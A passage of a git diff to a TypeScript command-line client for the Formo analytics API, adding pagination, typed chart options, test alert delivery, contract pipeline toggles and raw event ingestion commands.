(options.recipient) { - try { - body.recipient = JSON.parse(options.recipient) - } catch { - throw new Error('--recipient must be a valid JSON array') - } + body.recipient = parseJsonArray(options.recipient, '--recipient') } if (options.secret !== undefined) { body.secret = options.secret } + if (options.slackPropertyKeys !== undefined) { + body.slack_property_keys = parseJsonArray( + options.slackPropertyKeys, + '--slack-property-keys', + ) + } + return body } @@ -93,7 +114,7 @@ alerts.command('create', { description: 'Create a new project alert', options: z.object({ name: z.string().describe('Alert name'), - triggerType: z.string().describe('Trigger type (e.g. "event", "threshold")'), + triggerType: z.enum(['event', 'user']).describe('Trigger type'), triggerFilters: z .string() .optional() @@ -103,6 +124,10 @@ alerts.command('create', { .optional() .describe('JSON array of recipient objects'), secret: z.string().optional().describe('Webhook secret for the alert'), + slackPropertyKeys: z + .string() + .optional() + .describe('JSON array of event/user property keys to include in Slack alerts'), }), examples: [ { @@ -120,10 +145,11 @@ alerts.command('create', { export interface UpdateAlertOptions { name: string - triggerType: string + triggerType: 'event' | 'user' | string triggerFilters?: string recipient?: string secret?: string + slackPropertyKeys?: string } export function updateAlertRun(alertId: string, options: UpdateAlertOptions) { @@ -142,7 +168,7 @@ alerts.command('update', { }), options: z.object({ name: z.string().describe('Alert name'), - triggerType: z.string().describe('Trigger type'), + triggerType: z.enum(['event', 'user']).describe('Trigger type'), triggerFilters: z .string() .optional() @@ -152,6 +178,10 @@ alerts.command('update', { .optional() .describe('JSON array of recipient objects'), secret: z.string().optional().describe('Webhook secret for the alert'), + slackPropertyKeys: z + .string() + .optional() + .describe('JSON array of event/user property keys to include in Slack alerts'), }), examples: [ { @@ -193,22 +223,25 @@ alerts.command('delete', { export function toggleAlertRun(alertId: string, status: string) { requireApiKey() const client = createClient() - return client.patch(`/v0/alerts/${encodeURIComponent(alertId)}`, { status }) + const normalizedStatus = status === 'paused' ? 'inactive' : status + return client.patch(`/v0/alerts/${encodeURIComponent(alertId)}`, { + status: normalizedStatus, + }) } alerts.command('toggle', { - description: 'Toggle an alert status (active/paused)', + description: 'Toggle an alert status (active/inactive)', args: z.object({ alertId: z.string().describe('Alert ID to toggle'), }), options: z.object({ - status: z.enum(['active', 'paused']).describe('New status'), + status: z.enum(['active', 'inactive', 'paused']).describe('New status. "paused" is accepted as a deprecated alias for "inactive".'), }), examples: [ { args: { alertId: 'alert_abc123' }, - options: { status: 'paused' }, - description: 'Pause an alert', + options: { status: 'inactive' }, + description: 'Deactivate an alert', }, ], hint: 'Requires alerts:write scope on your API key.', @@ -216,3 +249,71 @@ alerts.command('toggle', { return toggleAlertRun(args.alertId, options.status) }, }) + +// ── Test alert delivery ── + +export interface TestAlertOptions { + sampleEvent?: string + sampleUser?: string + recipientOverrides?: string +} + +export function buildTestAlertBody(options: TestAlertOptions) { + const body: Record<string, unknown> = {} + if (options.sampleEvent !== undefined) { + body.sampleEvent = parseJsonObject(options.sampleEvent, '--sample-event') + } + if (options.sampleUser !== undefined) { + body.sampleUser = parseJsonObject(options.sampleUser, '--sample-user') + } + if (options.recipientOverrides !== undefined) { + body.recipientOverrides = parseJsonArray( + options.recipientOverrides, + '--recipient-overrides', + ) + } + return Object.keys(body).length > 0 ? body : undefined +} + +export function testAlertRun(alertId: string, options: TestAlertOptions = {}) { + requireApiKey() + const client = createClient() + return client.post( + `/v0/alerts/${encodeURIComponent(alertId)}/test`, + buildTestAlertBody(options), + ) +} + +alerts.command('test', { + description: 'Send a test delivery for an alert', + args: z.object({ + alertId: z.string().describe('Alert ID to test'), + }), + options: z.object({ + sampleEvent: z + .string() + .optional() + .describe('Optional JSON object to use as the sample event'), + sampleUser: z + .string() + .optional() + .describe('Optional JSON object to use as the sample user/profile'), + recipientOverrides: z + .string() + .optional() + .describe('Optional JSON array of recipient objects to test instead of saved recipients'), + }), + examples: [ + { + args: { alertId: 'alert_abc123' }, + options: { + sampleEvent: '{"event":"transaction","revenue":250}', + }, + description: 'Send a test alert with a sample event', + }, + ], + hint: 'Requires alerts:write scope on your API key.', + run({ args, options }) { + return testAlertRun(args.alertId, options) + }, +}) diff --git a/src/commands/boards.ts b/src/commands/boards.ts index c63ae72..d405961 100644 --- a/src/commands/boards.ts +++ b/src/commands/boards.ts @@ -5,20 +5,36 @@ export const boards = Cli.create('boards', { description: 'Dashboard board commands — create, list, update, and delete boards', }) +export interface PaginationOptions { + page?: number + size?: number +} + +function buildPaginationParams(options: PaginationOptions = {}) { + const params: Record<string, number> = {} + if (options.page !== undefined) params.page = options.page + if (options.size !== undefined) params.size = options.size + return params +} + // ── List boards ── -export function listBoardsRun() { +export function listBoardsRun(options: PaginationOptions = {}) { requireApiKey() const client = createClient() - return client.get('/v0/boards/') + return client.get('/v0/boards/', { params: buildPaginationParams(options) }) } boards.command('list', { description: 'List all boards for the project', + options: z.object({ + page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), + size: z.coerce.number().optional().describe('Page size (default 100, max 200)'), + }), examples: [{ description: 'List all dashboard boards' }], hint: 'Requires boards:read scope on your API key.', - run() { - return listBoardsRun() + run({ options }) { + return listBoardsRun(options) }, }) @@ -47,17 +63,36 @@ boards.command('get', { // ── Create a board ── export interface CreateBoardOptions { - name: string + title?: string + name?: string description?: string + isPublic?: boolean +} + +export function buildBoardBody(options: CreateBoardOptions | UpdateBoardOptions) { + const title = options.title ?? options.name + const body: Record<string, unknown> = {} + if (title !== undefined) { + if (!title) throw new Error('--title must not be empty') + body.title = title + } + if (options.description !== undefined) { + body.description = options.description + } + if (options.isPublic !== undefined) { + body.isPublic = options.isPublic + } + + return body } export function createBoardRun(options: CreateBoardOptions) { requireApiKey() const client = createClient() - const body: Record<string, unknown> = { name: options.name } - if (options.description) { - body.description = options.description + const body = buildBoardBody(options) + if (!body.title) { + throw new Error('Provide --title for the board name') } return client.post('/v0/boards/', body) @@ -66,16 +101,18 @@ export function createBoardRun(options: CreateBoardOptions) { boards.command('create', { description: 'Create a new dashboard board', options: z.object({ - name: z.string().describe('Board name'), + title: z.string().optional().describe('Board title'), + name: z.string().optional().describe('Deprecated alias for --title').meta({ deprecated: true }), description: z.string().optional().describe('Board description'), + isPublic: z.boolean().optional().describe('Whether the board is publicly viewable'), }), examples: [ { - options: { name: 'KPI Dashboard' }, + options: { title: 'KPI Dashboard' }, description: 'Create a board', }, { - options: { name: 'Revenue Metrics', description: 'Weekly revenue tracking' }, + options: { title: 'Revenue Metrics', description: 'Weekly revenue tracking' }, description: 'Create a board with description', }, ], @@ -88,17 +125,20 @@ boards.command('create', { // ── Update a board ── export interface UpdateBoardOptions { + title?: string name?: string description?: string + isPublic?: boolean } export function updateBoardRun(boardId: string, options: UpdateBoardOptions) { requireApiKey() const client = createClient() - const body: Record<string, unknown> = {} - if (options.name !== undefined) body.name = options.name - if (options.description !== undefined) body.description = options.description + const body = buildBoardBody(options) + if (Object.keys(body).length === 0) { + throw new Error('Provide at least one of --title, --description, or --is-public') + } return client.patch(`/v0/boards/${encodeURIComponent(boardId)}`, body) } @@ -109,13 +149,15 @@ boards.command('update', { boardId: z.string().describe('Board ID to update'), }), options: z.object({ - name: z.string().optional().describe('New board name'), + title: z.string().optional().describe('New board title'), + name: z.string().optional().describe('Deprecated alias for --title').meta({ deprecated: true }), description: z.string().optional().describe('New board description'), + isPublic: z.boolean().optional().describe('Whether the board is publicly viewable'), }), examples: [ { args: { boardId: 'board_abc123' }, - options: { name: 'Renamed Board' }, + options: { title: 'Renamed Board' }, description: 'Rename a board', }, ], diff --git a/src/commands/charts.ts b/src/commands/charts.ts index 9bd02f8..b14d894 100644 --- a/src/commands/charts.ts +++ b/src/commands/charts.ts @@ -1,22 +1,156 @@ import { Cli, z } from 'incur' import { createClient, requireApiKey } from '../lib/client' +import { + parseJsonArray, + parseJsonObject, + parseStringArray, +} from '../lib/json' +import { stripTrailingFormatClause } from '../lib/sql' export const charts = Cli.create('charts', { - description: 'Chart commands — create, list, update, and delete charts within boards', + description: + 'Chart commands — create, list, query, move, duplicate, reorder, update, and delete charts within boards', +}) + +const chartTypeSchema = z.enum([ + 'table', + 'number', + 'funnel', + 'bar', + 'line', + 'area', + 'pie', + 'stacked', + 'user_paths', + 'retention', +]) + +export interface PaginationOptions { + page?: number + size?: number +} + +function buildPaginationParams(options: PaginationOptions = {}) { + const params: Record<string, number> = {} + if (options.page !== undefined) params.page = options.page + if (options.size !== undefined) params.size = options.size + return params +} + +// ── Shared chart body builder ── + +export interface ChartBodyOptions { + body?: string + query?: string + chartType?: string + title?: string + description?: string + xAxis?: string + yAxis?: string + groupBy?: string + steps?: string + settings?: string +} + +function hasTypedChartFields(options: ChartBodyOptions) { + return [ + options.query, + options.chartType, + options.title, + options.description, + options.xAxis, + options.yAxis, + options.groupBy, + options.steps, + options.settings, + ].some((value) => value !== undefined) +} + +export function buildChartBody(options: ChartBodyOptions) { + let body: Record<string, unknown> = {} + + if (options.body) { + body = parseJsonObject(options.body, '--body') + } + + if (!options.body && !hasTypedChartFields(options)) { + throw new Error( + 'Provide --body or chart fields such as --title, --chart-type, and --query', + ) + } + + if (options.query !== undefined) { + body.query = stripTrailingFormatClause(options.query) + } + if (options.chartType !== undefined) body.chart_type = options.chartType + if (options.title !== undefined) body.title = options.title + if (options.description !== undefined) body.description = options.description + if (options.xAxis !== undefined) body.x_axis = options.xAxis + if (options.yAxis !== undefined) { + body.y_axis = parseStringArray(options.yAxis, '--y-axis') + } + if (options.groupBy !== undefined) body.group_by = options.groupBy + if (options.steps !== undefined) { + body.steps = parseJsonArray(options.steps, '--steps') + } + if (options.settings !== undefined) { + body.settings = parseJsonObject(options.settings, '--settings') + } + + return body +} + +function coerceChartBody(input: string | ChartBodyOptions) { + return typeof input === 'string' ? buildChartBody({ body: input }) : buildChartBody(input) +} + +const chartBodyOptions = z.object({ + body: z + .string() + .optional() + .describe('Raw JSON chart body. Typed flags below override matching body keys.'), + query: z + .string() + .optional() + .describe('SQL query powering table/number/bar/line/area/pie/stacked charts'), + chartType: chartTypeSchema.optional().describe('Chart type'), + title: z.string().optional().describe('Chart title'), + description: z.string().optional().describe('Optional chart description'), + xAxis: z.string().optional().describe('Column used as the x axis'), + yAxis: z + .string() + .optional() + .describe('Comma-separated or JSON array of y-axis metric columns'), + groupBy: z.string().optional().describe('Column used to group or stack series'), + steps: z + .string() + .optional() + .describe('JSON array of funnel/user-path step objects'), + settings: z + .string() + .optional() + .describe('JSON object of type-specific chart settings'), }) // ── List charts for a board ── -export function listChartsRun(boardId: string) { +export function listChartsRun( + boardId: string, + options: PaginationOptions = {}, +) { requireApiKey() const client = createClient() - return client.get(`/v0/boards/${encodeURIComponent(boardId)}/charts/`) + return client.get(`/v0/boards/${encodeURIComponent(boardId)}/charts/`, { + params: buildPaginationParams(options), + }) } charts.command('list', { - description: 'List all charts for a board', + description: 'List all charts for a board, including executed results', options: z.object({ boardId: z.string().describe('Board ID to list charts from'), + page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), + size: z.coerce.number().optional().describe('Page size (default 100, max 200)'), }), examples: [ { @@ -26,7 +160,39 @@ charts.command('list', { ], hint: 'Requires boards:read scope on your API key.', run({ options }) { - return listChartsRun(options.boardId) + return listChartsRun(options.boardId, options) + }, +}) + +// ── List chart metadata for a board ── + +export function listChartSummariesRun( + boardId: string, + options: PaginationOptions = {}, +) { + requireApiKey() + const client = createClient() + return client.get(`/v0/boards/${encodeURIComponent(boardId)}/charts/meta`, { + params: buildPaginationParams(options), + }) +} + +charts.command('meta', { + description: 'List lightweight chart metadata for a board without query results', + options: z.object({ + boardId: z.string().describe('Board ID to list chart metadata from'), + page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), + size: z.coerce.number().optional().describe('Page size (default 100, max 200)'), + }), + examples: [ + { + options: { boardId: 'board_abc123', size: 25 }, + description: 'List chart summaries for a board', + }, + ], + hint: 'Requires boards:read scope on your API key.', + run({ options }) { + return listChartSummariesRun(options.boardId, options) }, }) @@ -61,63 +227,137 @@ charts.command('get', { }, }) -// ── Create a chart ── +// ── Query a chart with date variables ── + +export interface QueryChartOptions { + dateFrom: string + dateTo: string +} -export function createChartRun(boardId: string, body: string) { +export function queryChartRun( + boardId: string, + chartId: string, + options: QueryChartOptions, +) { requireApiKey() const client = createClient() + return client.get( + `/v0/boards/${encodeURIComponent(boardId)}/charts/${encodeURIComponent(chartId)}/query`, + { params: { dateFrom: options.dateFrom, dateTo: options.dateTo } }, + ) +} - let parsed: unknown - try { - parsed = JSON.parse(body) - } catch { - throw new Error('--body must be valid JSON') - } +charts.command('query', { + description: 'Execute a saved chart query after substituting date variables', + args: z.object({ + chartId: z.string().describe('Chart ID to query'), + }), + options: z.object({ + boardId: z.string().describe('Board ID the chart belongs to'), + dateFrom: z.string().describe('Date variable value for {{date_from}}, YYYY-MM-DD'), + dateTo: z.string().describe('Date variable value for {{date_to}}, YYYY-MM-DD'), + }), + examples: [ + { + args: { chartId: 'chart_abc123' }, + options: { + boardId: 'board_abc123', + dateFrom: '2026-04-01', + dateTo: '2026-04-30', + }, + description: 'Query a chart for April 2026', + }, + ], + hint: 'Requires boards:read scope and a chart query containing {{date_from}}/{{date_to}} variables.', + run({ args, options }) { + return queryChartRun(options.boardId, args.chartId, options) + }, +}) + +// ── Create a chart ── +export function createChartRun( + boardId: string, + input: string | ChartBodyOptions, +) { + requireApiKey() + const client = createClient() return client.post( `/v0/boards/${encodeURIComponent(boardId)}/charts/`, - parsed, + coerceChartBody(input), ) } charts.command('create', { description: 'Create a new chart in a board', - options: z.object({ + options: chartBodyOptions.extend({ boardId: z.string().describe('Board ID to add the chart to'), - body: z.string().describe('JSON string with chart configuration'), }), examples: [ { options: { boardId: 'board_abc123', - body: '{"name":"Daily active users","chartType":"line"}', + title: 'Daily active users', + chartType: 'line', + query: + 'SELECT toDate(timestamp) AS date, countDistinct(address) AS users FROM events GROUP BY date ORDER BY date', + xAxis: 'date', + yAxis: 'users', + }, + description: 'Create a line chart from typed flags', + }, + { + options: { + boardId: 'board_abc123', + body: '{"title":"Onboarding Funnel","chart_type":"funnel","query":"SELECT 1","steps":[{"type":"event","event":"page"},{"type":"event","event":"connect"}]}', }, - description: 'Create a line chart', + description: 'Create a chart from raw JSON', }, ], hint: 'Requires boards:write scope on your API key.', run({ options }) { - return createChartRun(options.boardId, options.body) + return createChartRun(options.boardId, options) }, }) // ── Update a chart ── -export function updateChartRun(boardId: string, chartId: string, body: string) { +export function updateChartRun( + boardId: string, + chartId: string, + input: string | ChartBodyOptions, +) { requireApiKey() const client = createClient() + const updates = coerceChartBody(input) - let parsed: unknown - try { - parsed = JSON.parse(body) - } catch { - throw new Error('--body must be valid JSON') - } + return client + .get( + `/v0/boards/${encodeURIComponent(boardId)}/charts/${encodeURIComponent(chartId)}`, + ) + .then((current: unknown) => { + const existing = + current && typeof current === 'object' + ? (current as Record<string, unknown>) + : {} + const body = { + query: existing.query, + chart_type: existing.chart_type, + title: existing.title, + description: existing.description ?? undefined, + x_axis: existing.x_axis ?? undefined, + y_axis: existing.y_axis ?? undefined, + group_by: existing.group_by ?? undefined, + steps: existing.steps ?? undefined, + settings: existing.settings ?? undefined, + ...updates, + } - return client.put( - `/v0/boards/${encodeURIComponent(boardId)}/charts/${encodeURIComponent(chartId)}`, - parsed, - ) + return client.put( + `/v0/boards/${encodeURIComponent(boardId)}/charts/${encodeURIComponent(chartId)}`, + body, + ) + }) } charts.command('update', { @@ -125,23 +365,128 @@ charts.command('update', { args: z.object({ chartId: z.string().describe('Chart ID to update'), }), - options: z.object({ + options: chartBodyOptions.extend({ boardId: z.string().describe('Board ID the chart belongs to'), - body: z.string().describe('JSON string with updated chart configuration'), }), examples: [ { args: { chartId: 'chart_abc123' }, options: { boardId: 'board_abc123', - body: '{"name":"Updated chart name"}', + title: 'Updated chart name', }, - description: 'Update a chart', + description: 'Update a chart title', }, ], hint: 'Requires boards:write scope on your API key.', run({ args, options }) { - return updateChartRun(options.boardId, args.chartId, options.body) + return updateChartRun(options.boardId, args.chartId, options) + }, +}) + +// ── Move a chart ── + +export function moveChartRun( + boardId: string, + chartId: string, + targetBoardId: string, +) { + requireApiKey() + const client = createClient() + return client.put( + `/v0/boards/${encodeURIComponent(boardId)}/charts/${encodeURIComponent(chartId)}/move`, + { targetBoardId }, + ) +} + +charts.command('move', { + description: 'Move a chart to another board', + args: z.object({ + chartId: z.string().describe('Chart ID to move'), + }), + options: z.object({ + boardId: z.string().describe('Current board ID'), + targetBoardId: z.string().describe('Destination board ID'), + }), + examples: [ + { + args: { chartId: 'chart_abc123' }, + options: { boardId: 'board_source', targetBoardId: 'board_target' }, + description: 'Move a chart between boards', + }, + ], + hint: 'Requires boards:write scope on your API key.', + run({ args, options }) { + return moveChartRun(options.boardId, args.chartId, options.targetBoardId) + }, +}) + +// ── Duplicate a chart ── + +export function normalizeDuplicateChartResponse(result: unknown) { + return typeof result === 'string' ? { id: result } : result +} + +export function duplicateChartRun(boardId: string, chartId: string) { + requireApiKey() + const client = createClient() + return client.post( + `/v0/boards/${encodeURIComponent(boardId)}/charts/${encodeURIComponent(chartId)}/duplicate`, + ).then(normalizeDuplicateChartResponse) +} + +charts.command('duplicate', { + description: 'Duplicate a chart within its board', + args: z.object({ + chartId: z.string().describe('Chart ID to duplicate'), + }), + options: z.object({ + boardId: z.string().describe('Board ID the chart belongs to'), + }), + examples: [ + { + args: { chartId: 'chart_abc123' }, + options: { boardId: 'board_abc123' }, + description: 'Duplicate a chart', + }, + ], + hint: 'Requires boards:write scope on your API key.', + run({ args, options }) { + return duplicateChartRun(options.boardId, args.chartId) + }, +}) + +// ── Reorder charts ── + +export function reorderChartsRun(boardId: string, chartIds: string) { + requireApiKey() + const client = createClient() + return client.put( + `/v0/boards/${encodeURIComponent(boardId)}/charts/reorder`, + { chartIds: parseStringArray(chartIds, '--chart-ids') }, + ) +} + +charts.command('reorder', { + description: 'Reorder charts in a board', + options: z.object({ + boardId: z.string().describe('Board ID whose charts should be reordered'), + chartIds: z + .string() + .describe('Chart IDs in desired order, as comma-separated text or JSON array'), + }), + examples: [ + { + options: { + boardId: 'board_abc123', + chartIds: 'chart_a,chart_b,chart_c', + }, + description: 'Reorder charts using comma-separated IDs', + }, + ], + hint: 'Requires boards:write scope on your API key.', + run({ options }) { + return reorderChartsRun(options.boardId, options.chartIds) }, }) diff --git a/src/commands/contracts.ts b/src/commands/contracts.ts index bd1ae9c..a2254ef 100644 --- a/src/commands/contracts.ts +++ b/src/commands/contracts.ts @@ -1,24 +1,106 @@ import { Cli, z } from 'incur' import { createClient, requireApiKey } from '../lib/client' +import { parseJsonArray } from '../lib/json' export const contracts = Cli.create('contracts', { - description: 'Smart contract commands — register, list, update, and remove tracked contracts', + description: + 'Smart contract commands — register, list, recommend, update, toggle pipeline inclusion, and remove tracked contracts', }) +export interface PaginationOptions { + page?: number + size?: number +} + +function buildPaginationParams(options: PaginationOptions = {}) { + const params: Record<string, number> = {} + if (options.page !== undefined) params.page = options.page + if (options.size !== undefined) params.size = options.size + return params +} + +function parseChain(chain: string | number) { + const value = typeof chain === 'number' ? chain : Number(chain) + if (!Number.isInteger(value) || value < 1) { + throw new Error('chain must be a positive integer') + } + return value +} + // ── List contracts ── -export function listContractsRun() { +export function listContractsRun(options: PaginationOptions = {}) { requireApiKey() const client = createClient() - return client.get('/v0/contracts/') + return client.get('/v0/contracts/', { + params: buildPaginationParams(options), + }) } contracts.command('list', { description: 'List all tracked contracts for the project', + options: z.object({ + page: z.coerce.number().optional().describe('Page number (1-indexed, default 1)'), + size: z.coerce.number().optional().describe('Page size (default 100, max 200)'), + }), examples: [{ description: 'List all project contracts' }], hint: 'Requires contracts:read scope on your API key.', + run({ options }) { + return listContractsRun(options) + }, +}) + +// ── Get a contract ── + +export function getContractRun(chain: string, address: string) { + requireApiKey() + const client = createClient() + return client.get( + `/v0/contracts/${encodeURIComponent(chain)}/${encodeURIComponent(address)}`, + ) +} + +// ── Recommended contracts ── + +export function getContractRecommendationsRun() { + requireApiKey() + const client = createClient() + return client.get('/v0/contracts/recommendations') +} + +contracts.command('recommendations', { + description: + 'List contracts the project already interacts with but has not added yet', + options: z.object({}), + examples: [ + { + description: 'Show recommended contracts to add for decoding/monitoring', + }, + ], + hint: 'Requires contracts:read scope on your API key.', run() { - return listContractsRun() + return getContractRecommendationsRun() + }, +}) + +contracts.command('get', { + description: 'Get a tracked contract by chain and address', + args: z.object({ + chain: z.string().describe('Chain ID'), + address: z.string().describe('Contract address (0x...)'), + }), + examples: [ + { + args: { + chain: '1', + address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', + }, + description: 'Get a tracked USDC contract', + }, + ], + hint: 'Requires contracts:read scope on your API key.', + run({ args }) { + return getContractRun(args.chain, args.address) }, }) @@ -30,30 +112,25 @@ export interface CreateContractOptions { name: string abi: string events: string + startBlock?: number + includeInPipeline?: boolean } export function buildCreateContractBody(options: CreateContractOptions) { - let parsedAbi: unknown - try { - parsedAbi = JSON.parse(options.abi) - } catch { - throw new Error('--abi must be a valid JSON array') - } - - let parsedEvents: unknown - try { - parsedEvents = JSON.parse(options.events) - } catch { - throw new Error('--events must be valid JSON') - } - - return { + const parsedAbi = parseJsonArray(options.abi, '--abi') + const parsedEvents = parseJsonArray(options.events, '--events') + const body: Record<string, unknown> = { address: options.address, - chain: options.chain, + chain: parseChain(options.chain), name: options.name, - abi: parsedAbi, + abi: JSON.stringify(parsedAbi), events: parsedEvents, } + if (options.startBlock !== undefined) body.start_block = options.startBlock + if (options.includeInPipeline !== undefined) { + body.include_in_pipeline = options.includeInPipeline + } + return body } export function createContractRun(options: CreateContractOptions) { @@ -65,20 +142,25 @@ export function createContractRun(options: CreateContractOptions) { contracts.command('create', { description: 'Register a new smart contract to track', options: z.object({ - address: z.string().describe('Contract address (0x…)'), + address: z.string().describe('Contract address (0x...)'), chain: z.coerce.number().describe('Chain ID (e.g. 1 for Ethereum, 137 for Polygon)'), name: z.string().describe('Human-readable contract name'), abi: z.string().describe('Contract ABI as a JSON string'), - events: z.string().describe('Events configuration as a JSON string'), + events: z.string().describe('JSON array of ABI event objects to monitor (max 10)'), + startBlock: z.coerce.number().optional().describe('Optional start block'), + includeInPipeline: z + .boolean() + .optional() + .describe('Whether to include this contract in the Goldsky events pipeline'), }), examples: [ { options: { - address: '0x1234…', + address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', chain: 1, - name: 'My Token', - abi: '[{"type":"event","name":"Transfer"}]', - events: '{"Transfer":true}', + name: 'USDC', + abi: '[{"anonymous":false,"type":"event","name":"Transfer","inputs":[]}]', + events: '[{"anonymous":false,"type":"event","name":"Transfer","inputs":[]}]', }, description: 'Register an ERC-20 contract on Ethereum', }, @@ -95,28 +177,29 @@ export interface UpdateContractOptions { name: string abi: string events: string + startBlock?: number + includeInPipeline?: boolean } -export function buildUpdateContractBody(options: UpdateContractOptions) { - let parsedAbi: unknown - try { - parsedAbi = JSON.parse(options.abi) - } catch { - throw new Error('--abi must be a valid JSON array') - } - - let parsedEvents: unknown - try { - parsedEvents = JSON.parse(options.events) - } catch { - throw new Error('--events must be valid JSON') - } - - return { +export function buildUpdateContractBody( + chain: string | number, + address: string, + options: UpdateContractOptions, +) { + const parsedAbi = parseJsonArray(options.abi, '--abi') + const parsedEvents = parseJsonArray(options.events, '--events') + const body: Record<string, unknown> = { + address, + chain: parseChain(chain), name: options.name, - abi: parsedAbi, + abi: JSON.stringify(parsedAbi), events: parsedEvents, } + if (options.startBlock !== undefined) body.start_block = options.startBlock + if (options.includeInPipeline !== undefined) { + body.include_in_pipeline = options.includeInPipeline + } + return body } export function updateContractRun( @@ -128,7 +211,7 @@ export function updateContractRun( const client = createClient() return client.put( `/v0/contracts/${encodeURIComponent(chain)}/${encodeURIComponent(address)}`, - buildUpdateContractBody(options), + buildUpdateContractBody(chain, address, options), ) } @@ -136,20 +219,28 @@ contracts.command('update', { description: 'Update a tracked contract', args: z.object({ chain: z.string().describe('Chain ID'), - address: z.string().describe('Contract address (0x…)'), + address: z.string().describe('Contract address (0x...)'), }), options: z.object({ name: z.string().describe('Updated contract name'), abi: z.string().describe('Updated ABI as a JSON string'), - events: z.string().describe('Updated events configuration as a JSON string'), + events: z.string().describe('Updated JSON array of ABI event objects to monitor'), + startBlock: z.coerce.number().optional().describe('Optional start block'), + includeInPipeline: z + .boolean() + .optional() + .describe('Whether to include this contract in the Goldsky events pipeline'), }), examples: [ { - args: { chain: '1', address: '0x1234…' }, + args: { + chain: '1', + address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', + }, options: { - name: 'Renamed Token', - abi: '[{"type":"event","name":"Transfer"}]', - events: '{"Transfer":true}', + name: 'USD Coin', + abi: '[{"anonymous":false,"type":"event","name":"Transfer","inputs":[]}]', + events: '[{"anonymous":false,"type":"event","name":"Transfer","inputs":[]}]', }, description: 'Update a contract', }, @@ -160,6 +251,57 @@ contracts.command('update', { }, }) +// ── Toggle contract pipeline inclusion ── + +export function updateContractPipelineRun( + chain: string, + address: string, + includeInPipeline: boolean, +) { + requireApiKey() + const client = createClient() + return client.patch( + `/v0/contracts/${encodeURIComponent(chain)}/${encodeURIComponent(address)}/pipeline`, + buildUpdateContractPipelineBody(includeInPipeline), + ) +} + +export function buildUpdateContractPipelineBody(includeInPipeline: boolean) { + return { include_in_pipeline: includeInPipeline } +} + +contracts.command('pipeline', { + description: + 'Toggle whether a tracked contract is included in the project events pipeline', + args: z.object({ + chain: z.string().describe('Chain ID'), + address: z.string().describe('Contract address (0x...)'), + }), + options: z.object({ + includeInPipeline: z + .boolean() + .describe('true to include the contract in the pipeline, false to exclude it'), + }), + examples: [ + { + args: { + chain: '1', + address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', + }, + options: { includeInPipeline: false }, + description: 'Keep ABI decoding but exclude this contract from pipeline deploys', + }, + ], + hint: 'Requires contracts:write scope on your API key.', + run({ args, options }) { + return updateContractPipelineRun( + args.chain, + args.address, + options.includeInPipeline, + ) + }, +}) + // ── Delete a contract ── export function deleteContractRun(chain: string, address: string) { @@ -174,11 +316,14 @@ contracts.command('delete', { description: 'Remove a tracked contract', args: z.object({ chain: z.string().describe('Chain ID'), - address: z.string().describe('Contract address (0x…)'), + address: z.string().describe('Contract address (0x...)'), }), examples: [ { - args: { chain: '1', address: '0x1234…' }, + args: { + chain: '1', + address: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', + }, description: 'Delete a contract', }, ], diff --git a/src/commands/events.ts b/src/commands/events.ts new file mode 100644 index 0000000..a84958c --- /dev/null +++ b/src/commands/events.ts @@ -0,0 +1,75 @@ +import { Cli, z } from 'incur' +import { createEventsClient } from '../lib/client' +import { parseJsonArrayOfObjects, parseJsonObject } from '../lib/json' + +export const events = Cli.create('events', { + description: 'Event ingestion commands — send raw analytics events with a project SDK write key', +}) + +export interface IngestEventsOptions { + events?: string + event?: string + writeKey?: string +} + +function getWriteKey(options: IngestEventsOptions) { + return options.writeKey ?? process.env.FORMO_WRITE_KEY +} + +export function buildIngestEventsBody(options: IngestEventsOptions) { + if (options.events) { + const events = parseJsonArrayOfObjects(options.events, '--events') + if (events.length === 0) { + throw new Error('--events must contain at least one event') + } + return events + } + + if (options.event) { + return [parseJsonObject(options.event, '--event')] + } + + throw new Error('Provide --event or --events') +} + +export function ingestEventsRun(options: IngestEventsOptions) { + const writeKey = getWriteKey(options) + if (!writeKey) { + throw new Error( + 'No event write key configured. Pass --write-key or set FORMO_WRITE_KEY.', + ) + } + const client = createEventsClient(writeKey) + return client.post('/v0/raw_events', buildIngestEventsBody(options)) +} + +events.command('ingest', { + description: 'Send one or more raw events to the Formo events API', + options: z.object({ + event: z + .string() + .optional() + .describe('Single event as a JSON object; wrapped in an array before sending'), + events: z + .string() + .optional() + .describe('JSON array of event objects to send'), + writeKey: z + .string() + .optional() + .describe('Project SDK write key. Defaults to FORMO_WRITE_KEY.'), + }), + examples: [ + { + options: { + event: + '{"type":"track","channel":"cli","version":"1","anonymous_id":"anon_123","address":"0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045","event":"CLI Test","context":{},"properties":{},"original_timestamp":"2026-04-27T23:05:38.000Z","sent_at":"2026-04-27T23:05:42.000Z","message_id":"cli-test-1"}', + }, + description: 'Send one custom event using FORMO_WRITE_KEY', + }, + ], + hint: 'Uses the events.formo.so API and requires a project SDK write key, not a workspace API key.', + run({ options }) { + return ingestEventsRun(options) + }, +}) diff --git a/src/commands/import.ts b/src/commands/import.ts index 83a6cc8..abf2619 100644 --- a/src/commands/import.ts +++ b/src/commands/import.ts @@ -1,5 +1,6 @@ import { Cli, z } from 'incur' import { createClient, requireApiKey } from '../lib/client' +import { parseJsonArray, parseJsonArrayOfObjects } from '../lib/json' export const importCmd = Cli.create('import', { description: 'Import commands — bulk import wallet addresses into your project', @@ -8,23 +9,35 @@ export const importCmd = Cli.create('import', { // ── Import wallets ── export interface ImportWalletsOptions { - addresses: string - writeKey: string + addresses?: string + rows?: string + writeKey?: string } export function buildImportBody(options: ImportWalletsOptions) { - let parsedAddresses: unknown - try { - parsedAddresses = JSON.parse(options.addresses) - if (!Array.isArray(parsedAddresses)) { - throw new Error('not an array') + if (options.rows) { + const rows = parseJsonArrayOfObjects(options.rows, '--rows') + const addresses = rows.map((row) => row.address) + if (addresses.some((address) => typeof address !== 'string' || !address)) { + throw new Error('--rows entries must each include a non-empty string address') } - } catch { - throw new Error('--addresses must be a valid JSON array of wallet address strings') + return { + addresses, + rows, + } + } + + if (!options.addresses) { + throw new Error('Provide --addresses or --rows') } + + const addresses = parseJsonArray(options.addresses, '--addresses') + if (addresses.some((address) => typeof address !== 'string' || !address)) { + throw new 